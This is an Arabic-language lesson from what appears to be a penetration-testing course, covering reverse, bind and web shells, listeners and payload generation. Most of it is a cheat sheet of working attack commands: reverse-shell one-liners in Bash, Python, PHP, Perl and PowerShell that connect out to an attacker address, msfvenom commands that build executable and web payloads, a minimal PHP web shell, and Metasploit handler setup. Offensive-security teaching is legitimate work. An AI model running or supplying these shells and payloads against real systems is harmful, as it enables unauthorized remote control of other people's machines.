تحليل الثغرات والاستغلال
الـ Shells والحمولات والمستمعين
5 دقيقة للقراءة
الحصول على shell على النظام المستهدف هو هدفك الرئيسي. يغطي هذا الدرس أنواع الـ shells المختلفة وكيفية إنشائها.
نظرة عامة على أنواع Shell
Reverse Shell:
الهدف ────────────────→ المهاجم
(الهدف يبدأ الاتصال بك)
الأفضل لـ: تجاوز جدران الحماية
Bind Shell:
المهاجم ────────────────→ الهدف
(الهدف يفتح منفذ، أنت تتصل)
الأفضل لـ: الوصول المباشر للشبكة
Web Shell:
المهاجم ────HTTP────→ الهدف
(الأوامر عبر واجهة الويب)
الأفضل لـ: الثبات، البيئات المقيدة
إعداد المستمعين
مستمع Netcat (أساسي)
# مستمع أساسي
nc -lvnp 4444
# مع إخراج تفصيلي
nc -lvnp 4444 -v
| العلم | الغرض |
|---|---|
-l |
وضع الاستماع |
-v |
تفصيلي |
-n |
بدون تحليل DNS |
-p |
رقم المنفذ |
Rlwrap (Shell محسن)
# shell تفاعلي أفضل مع تحرير السطر
rlwrap nc -lvnp 4444
Pwncat (متقدم)
# معالج غني بالميزات
pwncat-cs -lp 4444
أوامر Reverse Shell
سطر واحد حسب اللغة
Bash:
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
Bash (بديل):
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Python3:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
PHP:
php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl:
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PowerShell:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
توليد الحمولات مع Msfvenom
الحمولات الشائعة
Linux Reverse Shell:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf
Windows Reverse Shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
Windows Meterpreter (استخدم مرة واحدة فقط في الاختبار):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o meterpreter.exe
حمولات الويب
PHP:
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw > shell.php
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war > shell.war
ASP:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f asp > shell.asp
مرجع صيغ Msfvenom
| العلم | الغرض |
|---|---|
-p |
الحمولة للاستخدام |
-f |
صيغة الإخراج |
-o |
ملف الإخراج |
-e |
المشفر |
-b |
الأحرف السيئة |
LHOST |
عنوان IP الخاص بك |
LPORT |
المنفذ الخاص بك |
ترقية الـ Shells
ترقية Python PTY
# على الهدف بعد الحصول على shell
python -c 'import pty; pty.spawn("/bin/bash")'
# أو
python3 -c 'import pty; pty.spawn("/bin/bash")'
ترقية TTY كاملة
# الخطوة 1: إنشاء PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# الخطوة 2: تشغيل shell في الخلفية
Ctrl+Z
# الخطوة 3: ضبط الطرفية
stty raw -echo; fg
# الخطوة 4: ضبط البيئة
export TERM=xterm
export SHELL=/bin/bash
طريقة Script
script /dev/null -c bash
Web Shells
PHP Web Shell بسيط
<?php system($_GET['cmd']); ?>
الاستخدام: http://target/shell.php?cmd=whoami
PHP Shell تفاعلي
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
مواقع Web Shell الشائعة
Kali Linux:
/usr/share/webshells/
├── php/
│ ├── php-reverse-shell.php
│ └── simple-backdoor.php
├── asp/
└── jsp/
ورقة غش المستمعين
# Netcat
nc -lvnp 4444
# Netcat مع rlwrap
rlwrap nc -lvnp 4444
# Socat
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
# معالج Metasploit
msfconsole -q
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run
في الدرس التالي، سنغطي تقنيات نقل الملفات لنقل الاستغلالات والأدوات للأنظمة المستهدفة. :::